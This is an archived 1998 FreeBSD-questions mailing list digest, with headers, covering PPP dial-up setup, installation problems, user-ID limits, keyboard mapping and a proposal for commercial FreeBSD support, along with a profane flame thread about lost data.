1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA10800 for freebsd-questions-outgoing; Sat, 11 Apr 1998 17:49:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from nothing.infoinsights.com ([208.151.124.130]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA10762 for ; Sat, 11 Apr 1998 17:49:50 -0700 (PDT) (envelope-from dustin@infoinsights.com) Received: from localhost (dustin@localhost) by nothing.infoinsights.com (8.8.7/8.8.7) with SMTP id QAA17024 for ; Sat, 11 Apr 1998 16:49:43 -0800 (AKDT) (envelope-from dustin@infoinsights.com) Date: Sat, 11 Apr 1998 16:49:43 -0800 (AKDT) From: Dustin Andrews To: freebsd-questions@FreeBSD.ORG Subject: ppp to my ISP Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Using the Pedantic PPP primer i have set my box up to be a 'proxy' on my local network. My freebsd is running on a 486dx 66 with 8 megs of ram. (it was free =). I have the generuc kernel running with the min. dist. installed. I have made it through all of the stuff in up to 'testing the network' which is empty. when I execute ppp -ddial -alias myisp two things happen: 1. it takes about 60 seconds to do anything at all. 2. It dials out and connects. I get my assigned ip address and the ISP says I am connected (I have root privs on the portmaster). However when I ping my IP address from the other side of the line (the ISP side) I get no ping. Nor can I ping hosts on the outside of the box once the connection is up. If you are interested in seeing my ppp.conf file i will be happy to oblige. Does anyone have any hints for me? I thought I was decent at TCP/IP but this is kicking my butt. I need to get it up soon since I stole the modem from my Win95 proxy box (blech, I hated that) and my roomates are getting Internet withdrawal pangs. -- Dustin Andrews | w2.polar.net/~dustin | dustin@infoinsights.com Tiring of Microsoft? Free (really cool) OS ==> www.freebsd.org "I see the light at the end of the tunnel, someone please tell me that it's not a train" --Cracker To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 17:56:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA12155 for freebsd-questions-outgoing; Sat, 11 Apr 1998 17:56:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from nothing.infoinsights.com ([208.151.124.130]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA12149 for ; Sat, 11 Apr 1998 17:56:23 -0700 (PDT) (envelope-from dustin@infoinsights.com) Received: from localhost (dustin@localhost) by nothing.infoinsights.com (8.8.7/8.8.7) with SMTP id QAA17076 for ; Sat, 11 Apr 1998 16:56:19 -0800 (AKDT) (envelope-from dustin@infoinsights.com) Date: Sat, 11 Apr 1998 16:56:19 -0800 (AKDT) From: Dustin Andrews To: freebsd-questions@FreeBSD.ORG Subject: Re: FUCKUP PROGRAM In-Reply-To: <35301CEC.4F07@sprint.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have to question the maturity of this post. I am guessing that it is a forgery. If not I can't have much sympathy since the install programs warns about data loss IN ALL CAPITAL LETTERS before you do anything that might damage your system. If you did not have a backup don't expect sympathy. FreeBSD is not for the faint of heart. If you can't take one on the chin, I suggest you get a nice safe OS like the one that comes with your television. -- Dustin Andrews | w2.polar.net/~dustin | dustin@infoinsights.com Tiring of Microsoft? Free (really cool) OS ==> www.freebsd.org "I see the light at the end of the tunnel, someone please tell me that it's not a train" --Cracker On Sat, 11 Apr 1998, Admin wrote: }YOur program is so screwed up } }ITS FUCKED up my computer I had to format it I lost so much stuff cuz of }your fucked up program } } } }NEXT TIME } }dont like in the faq } }To Unsubscribe: send mail to majordomo@FreeBSD.org }with "unsubscribe freebsd-questions" in the body of the message } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 17:56:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA12473 for freebsd-questions-outgoing; Sat, 11 Apr 1998 17:56:54 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason02.u.washington.edu (root@jason02.u.washington.edu [140.142.76.8]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA12402 for ; Sat, 11 Apr 1998 17:56:47 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul7.u.washington.edu (root@saul7.u.washington.edu [140.142.82.2]) by jason02.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id RAA37160; Sat, 11 Apr 1998 17:56:47 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul7.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id RAA16971; Sat, 11 Apr 1998 17:56:46 -0700 (PDT) Date: Sat, 11 Apr 1998 16:55:34 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Admin cc: freebsd-questions@FreeBSD.ORG Subject: Re: FUCKUP PROGRAM In-Reply-To: <35301CEC.4F07@sprint.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, Admin wrote: > YOur program is so screwed up > > ITS FUCKED up my computer I had to format it I lost so much stuff cuz of > your fucked up program No. You are the one who has fucked up your computer. The program had nothing to do with it. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 18:01:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA13156 for freebsd-questions-outgoing; Sat, 11 Apr 1998 18:01:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.ahnet.net (mail.ahnet.net [207.213.224.25]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA13148 for ; Sat, 11 Apr 1998 18:01:54 -0700 (PDT) (envelope-from webmaster@zwb.net) Received: from znet-pdcs (icg-apc-pr1-p18.apc.net [207.211.76.172]) by mail.ahnet.net (8.8.7/8.8.6) with SMTP id RAA04354; Sat, 11 Apr 1998 17:54:06 -0700 (PDT) Message-Id: <3.0.5.32.19980411175741.0093e560@207.213.224.25> X-Sender: 5808.dima@207.213.224.25 X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Sat, 11 Apr 1998 17:57:41 -0700 To: Dustin Andrews From: Dima Dorfman Subject: Re: FUCKUP PROGRAM Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: References: <35301CEC.4F07@sprint.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG That is true, however, sometimes that is the kind of thing that gets you to think it won't destroy anything. I've worked with UNIX-like systems for about 15 years, and it seems alot easier to copy the files from the disks yourself, than haveing a program do it. That way, YOU know what you're doing. I'm not saying the was FreeBSD did it is bad, just commenting on it. It probably makes it alot easier for people who have never user UNIX before. -- Dima At 04:56 PM 4/11/98 -0800, you wrote: >I have to question the maturity of this post. I am guessing that it is a >forgery. If not I can't have much sympathy since the install programs >warns about data loss IN ALL CAPITAL LETTERS before you do anything that >might damage your system. If you did not have a backup don't expect >sympathy. > >FreeBSD is not for the faint of heart. If you can't take one on the chin, >I suggest you get a nice safe OS like the one that comes with your >television. > >-- >Dustin Andrews | w2.polar.net/~dustin | dustin@infoinsights.com >Tiring of Microsoft? Free (really cool) OS ==> www.freebsd.org > "I see the light at the end of the tunnel, someone please tell me >that it's not a train" --Cracker > >On Sat, 11 Apr 1998, Admin wrote: > >}YOur program is so screwed up >} >}ITS FUCKED up my computer I had to format it I lost so much stuff cuz of >}your fucked up program >} >} >} >}NEXT TIME >} >}dont like in the faq >} >}To Unsubscribe: send mail to majordomo@FreeBSD.org >}with "unsubscribe freebsd-questions" in the body of the message >} > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > --- Thanks! Dima Dorfman - dima@zwb.net "640k ought to be enough for anybody." - Bill Gates, 1981 - Bill Gates To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 18:02:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA13583 for freebsd-questions-outgoing; Sat, 11 Apr 1998 18:02:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from nothing.infoinsights.com ([208.151.124.130]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA13558 for ; Sat, 11 Apr 1998 18:02:39 -0700 (PDT) (envelope-from dustin@infoinsights.com) Received: from localhost (dustin@localhost) by nothing.infoinsights.com (8.8.7/8.8.7) with SMTP id RAA17130 for ; Sat, 11 Apr 1998 17:02:41 -0800 (AKDT) (envelope-from dustin@infoinsights.com) Date: Sat, 11 Apr 1998 17:02:41 -0800 (AKDT) From: Dustin Andrews To: freebsd-questions@FreeBSD.ORG Subject: Re: ppp to my ISP In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Duh Let me anser my own question here. In the rc.conf file the Gateway value needs to bet set to the gatway machine on the other side of the network. In my the case the portmaster that answers the call. it had a bogus value from when i plugged the box into my lan to download the dist files. -- Dustin Andrews | w2.polar.net/~dustin | dustin@infoinsights.com Tiring of Microsoft? Free (really cool) OS ==> www.freebsd.org "I see the light at the end of the tunnel, someone please tell me that it's not a train" --Cracker On Sat, 11 Apr 1998, Dustin Andrews wrote: }Using the Pedantic PPP primer i have set my box up to be a 'proxy' on my }local network. } }My freebsd is running on a 486dx 66 with 8 megs of ram. (it was free =). }I have the generuc kernel running with the min. dist. installed. } } }I have made it through all of the stuff in up to 'testing the network' }which is empty. } }when I execute } } ppp -ddial -alias myisp } }two things happen: }1. it takes about 60 seconds to do anything at all. }2. It dials out and connects. } }I get my assigned ip address and the ISP says I am connected (I have root }privs on the portmaster). However when I ping my IP address from the other }side of the line (the ISP side) I get no ping. } }Nor can I ping hosts on the outside of the box once the connection is up. } }If you are interested in seeing my ppp.conf file i will be happy to }oblige. } }Does anyone have any hints for me? I thought I was decent at TCP/IP but }this is kicking my butt. I need to get it up soon since I stole the modem }from my Win95 proxy box (blech, I hated that) and my roomates are getting }Internet withdrawal pangs. } }-- }Dustin Andrews | w2.polar.net/~dustin | dustin@infoinsights.com }Tiring of Microsoft? Free (really cool) OS ==> www.freebsd.org } "I see the light at the end of the tunnel, someone please tell me }that it's not a train" --Cracker } } }To Unsubscribe: send mail to majordomo@FreeBSD.org }with "unsubscribe freebsd-questions" in the body of the message } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 18:03:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA13918 for freebsd-questions-outgoing; Sat, 11 Apr 1998 18:03:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from buffnet4.buffnet.net (buffnet4.buffnet.net [205.246.19.13]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA13862 for ; Sat, 11 Apr 1998 18:03:14 -0700 (PDT) (envelope-from shovey@buffnet.net) Received: from buffnet11.buffnet.net (buffnet11.buffnet.net [205.246.19.55]) by buffnet4.buffnet.net (8.7.5/8.7.3) with SMTP id UAA03710 for ; Sat, 11 Apr 1998 20:56:03 -0400 (EDT) Date: Sat, 11 Apr 1998 20:56:03 -0400 (EDT) From: Steve Hovey To: freebsd-questions@FreeBSD.ORG Subject: more than 32k users Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I know this has been asked before, but Ill be dipped if I can find the answer. Is it possible to increase the maximum number of unix ids over 32k so that one can have over 32k users in /etc/passwd? ------------------------------------------------------------------ Steve Hovey Chief Engineer BuffNET More Than Just a Connection! ------------------------------------------------------------------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 18:04:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA14381 for freebsd-questions-outgoing; Sat, 11 Apr 1998 18:04:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason03.u.washington.edu (root@jason03.u.washington.edu [140.142.77.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA14371 for ; Sat, 11 Apr 1998 18:04:34 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul9.u.washington.edu (root@saul9.u.washington.edu [140.142.82.7]) by jason03.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id SAA18982; Sat, 11 Apr 1998 18:04:33 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul9.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id SAA22498; Sat, 11 Apr 1998 18:04:32 -0700 (PDT) Date: Sat, 11 Apr 1998 17:03:21 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Admin cc: freebsd-questions@FreeBSD.ORG Subject: Re: FUCKUP PROGRAM In-Reply-To: <35301CEC.4F07@sprint.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, Admin wrote: > YOur program is so screwed up > > ITS FUCKED up my computer I had to format it I lost so much stuff cuz of > your fucked up program No. You are the one who has fucked up your computer. FreeBSD had nothing to do with your lost data. I can assure you that when properly installed FreeBSD will not cause any data loss. Perhaps you made an error during installation. You do realize that you sent your message to hundreds of people? Please do not be abusive to the many hundreds of people who read this list voluntarily in order to help other people. We are always glad to help those who ask nicely. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 18:14:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA16964 for freebsd-questions-outgoing; Sat, 11 Apr 1998 18:14:45 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mooseriver.com (dynamic13.pm07.sf3d.best.com [209.24.235.141]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA16955 for ; Sat, 11 Apr 1998 18:14:39 -0700 (PDT) (envelope-from jgrosch@mooseriver.com) Received: (from jgrosch@localhost) by mooseriver.com (8.8.8/8.8.5) id SAA23065; Sat, 11 Apr 1998 18:14:35 -0700 (PDT) Message-ID: <19980411181434.65004@mooseriver.com> Date: Sat, 11 Apr 1998 18:14:34 -0700 From: Josef Grosch To: "Jason C. Wells" Cc: Admin , freebsd-questions@FreeBSD.ORG Subject: Re: FUCKUP PROGRAM Reply-To: jgrosch@superior.mooseriver.com References: <35301CEC.4F07@sprint.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79 In-Reply-To: ; from Jason C. Wells on Sat, Apr 11, 1998 at 04:55:34PM -0700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Apr 11, 1998 at 04:55:34PM -0700, Jason C. Wells wrote: > On Sat, 11 Apr 1998, Admin wrote: > > > YOur program is so screwed up > > > > ITS FUCKED up my computer I had to format it I lost so much stuff cuz of > > your fucked up program > > No. You are the one who has fucked up your computer. The program had > nothing to do with it. > Software does'nt fuckup computers, people fuckup computers. Josef -- Josef Grosch | Another day closer to a | FreeBSD 2.2.5 jgrosch@MooseRiver.com | Micro$oft free world | UNIX for the masses To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 18:18:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA17459 for freebsd-questions-outgoing; Sat, 11 Apr 1998 18:18:28 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from eve.speakeasy.org (douglas@eve.speakeasy.org [199.238.226.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA17451 for ; Sat, 11 Apr 1998 18:18:24 -0700 (PDT) (envelope-from douglas@speakeasy.org) Received: from localhost (douglas@localhost) by eve.speakeasy.org (8.8.5/8.7.3) with SMTP id SAA01988 Date: Sat, 11 Apr 1998 18:18:16 -0700 (PDT) From: "Three goddesses, Venus figures" To: Josef Grosch cc: "Jason C. Wells" , Admin , freebsd-questions@FreeBSD.ORG Subject: Re: FUCKUP PROGRAM In-Reply-To: <19980411181434.65004@mooseriver.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, Josef Grosch wrote: > > > ITS FUCKED up my computer I had to format it I lost so much stuff cuz of > > > your fucked up program > > > > No. You are the one who has fucked up your computer. The program had > > nothing to do with it. > > Software does'nt fuckup computers, people fuckup computers. In this case, yes. thousands if not millions of people have installed FreeBSD successfully without incident. That would *seem* to indicate that the fuckup is between the keyboard and the chair. -- "Tact is just not saying true things. I'll pass." "No more frogs." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 18:52:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA22295 for freebsd-questions-outgoing; Sat, 11 Apr 1998 18:52:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mtigwc05.worldnet.att.net (mtigwc05.worldnet.att.net [204.127.131.35]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA22285 for ; Sat, 11 Apr 1998 18:52:08 -0700 (PDT) (envelope-from dcr10@worldnet.att.net) Received: from dcr ([12.64.160.202]) by mtigwc05.worldnet.att.net (post.office MTA v2.0 0613 ) with ESMTP id AAA3280 for ; Sun, 12 Apr 1998 01:51:30 +0000 Reply-To: From: "Diana Roman" To: Subject: Floppy Disk Install Date: Sat, 11 Apr 1998 18:51:09 -0700 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1157 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Message-ID: <19980412015129.AAA3280@dcr> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi there. I'm trying to install from a set of floppies I made of the bin directory. When I clicked on the files 'checksum.md5', 'install.sh', and 'bin.mtree', (at ftp://www.freebsd.org) they opened up in the browser directly, as text. So I chose 'save as file...' from the File menu in Internet Explorer, and saved them as text files, renamed them with the proper extensions... Is this correct? Also, I can't open bin.au - it gives me an error message saying that the sound file can't be played.... Now, I get through the installation process up to the Media menu and select 'install from floppies', at which point it prompts me to insert a floppy in a:. So I insert the floppy that contains checksum.md5 and bin.aa through bin.af, hit return, and get the following.... Message: Couldn't extract the following distributions. This may be because they were not available on the installation media you've chosen. bin doc manpages problibs dict info ports 100% What do I do??? : ( To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 19:15:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA24684 for freebsd-questions-outgoing; Sat, 11 Apr 1998 19:15:36 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from UPIMSSMTPUSR04 (smtp.email.msn.com [207.68.143.160]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA24663 for ; Sat, 11 Apr 1998 19:15:05 -0700 (PDT) (envelope-from souldivide@email.msn.com) Received: from risc-proc - 153.36.83.235 by email.msn.com with Microsoft SMTPSVC; Sat, 11 Apr 1998 19:14:31 -0700 From: "SoulDivide" To: Subject: Installing FreeBSD from MS-DOS partition formatted w/ FAT32 possible? Date: Sun, 12 Apr 1998 03:14:20 +0100 Message-ID: <000001bd65b8$b5047d00$eb532499@risc-proc> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 1 (Highest) X-MSMail-Priority: High X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: High Sensitivity: Personal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I would like to install FreeBSD, but is it possible to do this from a DOS partition that has been formatted with FAT32? Will I be able to mount my FAT32 partition in FreeBSD? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 19:18:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA25155 for freebsd-questions-outgoing; Sat, 11 Apr 1998 19:18:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA24926 for ; Sat, 11 Apr 1998 19:17:34 -0700 (PDT) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id TAA24595; Sat, 11 Apr 1998 19:13:13 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd024593; Sun Apr 12 02:13:07 1998 Date: Sat, 11 Apr 1998 19:08:00 -0700 (PDT) From: Julian Elischer To: Alexander Babu Arulanthu cc: freebsd-questions@FreeBSD.ORG Subject: Re: aio calls in FreeBSD In-Reply-To: <352EAD31.EBD3689E@cs.wustl.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG yes -current (3.0 series) does thoughthe documentation is not complete yet. julian On Fri, 10 Apr 1998, Alexander Babu Arulanthu wrote: > Hi, > > Does any of the FreeBSD versions support asynchronous system calls such > as aio_read (), aio_write () etc. > > Thanks > Alex > > -- > Phone : 1-314-935-4215 (Work) -3853 (Home) > Internet: http://www.cs.wustl.edu/~alex > --Whenever you fall, pick something up.-Oswald Avery > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 19:57:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA00628 for freebsd-questions-outgoing; Sat, 11 Apr 1998 19:57:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA00605; Sat, 11 Apr 1998 19:57:15 -0700 (PDT) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id TAA25209; Sat, 11 Apr 1998 19:50:56 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd025207; Sun Apr 12 02:50:46 1998 Date: Sat, 11 Apr 1998 19:45:40 -0700 (PDT) From: Julian Elischer To: FreeBSD Chat cc: FreeBSD Questions , FreeBSD Hackers , newbies@freebie.lemis.com Subject: Re: SPAM: Commercial support for FreeBSD In-Reply-To: <19980411144425.64484@freebie.lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've been thinking of doing this myself for a couple of years. But I've had too much 'real FreeBSD work' to push too hard on the idea. julian (E) On Sat, 11 Apr 1998, Greg Lehey wrote: > Sorry for the spam. This will be the only message I send to these > lists--please respect the Reply-To: header and follow up either to > chat@FreeBSD.org or supporters@nanyang-computer.com. > > One of the points raised in the recent flurry of messages about more > visibility for FreeBSD is the question of support. We've discussed > this at length before, but somehow the discussions gradually sickered > away and we were no closer to a solution. > > A company I do a lot of work for, Nan Yang Computer Services Ltd., is > interested in providing commercial support for FreeBSD. They're a > *very* low-profile company in England, and they'll expect to be > involved mainly in the billing. This means that the people they're > looking for have to do just about everything else themselves, more > like consultants than employees. > > With this background, I'd like to solicit discussion on the subject. > I've set up a mailing list supporters@nanyang-computer.com. Sign up > in the traditional manner: send mail to majordomo@nanyang-computer.com > with the text 'subscribe supporters' in the message body. > > My intention at this stage is to discuss to following topics: > > 1. How to set up a world-wide commercial support organization for > FreeBSD. One of the things that I expect to be of great advantage > is that the people involved will be accessible via the Internet, > so it should be possible to provide 24x7 coverage. In keeping > with Nan Yang's low-key image, I don't envisage any commercial > premises for the support people: they will all be located wherever > it suits them. > > 2. What support to offer. The obvious choices are: > > - first-level user support ("how do I attach an image to a mail > reply?") > > - defect support ("My machine just said "panic: not enough foos" > and rebooted. What do I do?"). > > - programming support ("I've just updated my Yoyodyne frobulator > to the new, improved YYD-64. Can you write a driver for me, > please?") > > - Education. > > This is by no means an exhaustive list. > > 3. What to charge. > > 4. How to sell the concept to potential customers. > > I've copied -questions and -newbies on this message. I don't expect > many of the people on those lists to want to join in, but you could be > concerned that this might mean the end of free support on the > -questions list. I don't think you need to be worried. I suspect it > *will* change things on the list, but I don't see any reason to expect > that it will make things worse. > > I'd prefer that as much of the discussion as possible happens on > supporters@nanyang-computer.com (it's a no-obligation signup :-). If, > for some reason, you don't want to do that, please follow up in > FreeBSD-chat. > > Greg > > -- > See complete headers for address and phone numbers > finger grog@lemis.com for PGP public key > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 19:58:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA00907 for freebsd-questions-outgoing; Sat, 11 Apr 1998 19:58:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from trantor.galaxia.com (terminus.galaxia.com [204.255.210.97]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA00900 for ; Sat, 11 Apr 1998 19:58:41 -0700 (PDT) (envelope-from dave@galaxia.com) Received: from localhost (dave@localhost) by trantor.galaxia.com (8.8.7/8.8.7) with SMTP id WAA00950 for ; Sat, 11 Apr 1998 22:58:33 -0400 (EDT) (envelope-from dave@galaxia.com) Date: Sat, 11 Apr 1998 22:58:32 -0400 (EDT) From: "David H. Brierley" To: freebsd-questions@FreeBSD.ORG Subject: Question about using an alternative keyboard Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am attempting to use the keyboard from an NCD X terminal on my PC running FreeBSD-2.2.5 and XFree86. My first question is, has anybody ever done this before and can you tell me what you did to make it work? If you have never attempted this particular keyboard but perhaps have done this with some other non-standard keyboard that information would also be helpful because it would certainly point me in the right direction. What I have done so far is to attempt to determine what the keyboard scancode values are for the NCD keyboard and to build a keymap file for use with the syscons keyboard driver. This part seems to be progressing quite nicely although there are still a few keys on the keyboard that I can't seem to access correctly. In particular, the F5 key and the "4" key seem to produce the same scancode! If I attempt to move beyond that and start up X/11, things seem to get really strange. I think I need to modify (or create new) files in /usr/X11R6/lib/X11/xkb but I'm not sure exactly which files to modify and I can't seem to find any really clear documentation on the contents of the files or how they are used. Any help you can provide will be greatly appreciated. I would really like to use this keyboard because the layout is almost identical to the Sun type-5 keyboard that I use at work all day and this way my daytime keyboard and my evening keyboard would have the same layout. However, I want to make sure it is going to work correctly before I spend the money to buy it. -- David H. Brierley dave@galaxia.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 19:59:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA01621 for freebsd-questions-outgoing; Sat, 11 Apr 1998 19:59:48 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gforce.bellsouth.net (host-209-138-35-47.msy.bellsouth.net [209.138.35.47]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA01564 for ; Sat, 11 Apr 1998 19:59:40 -0700 (PDT) (envelope-from 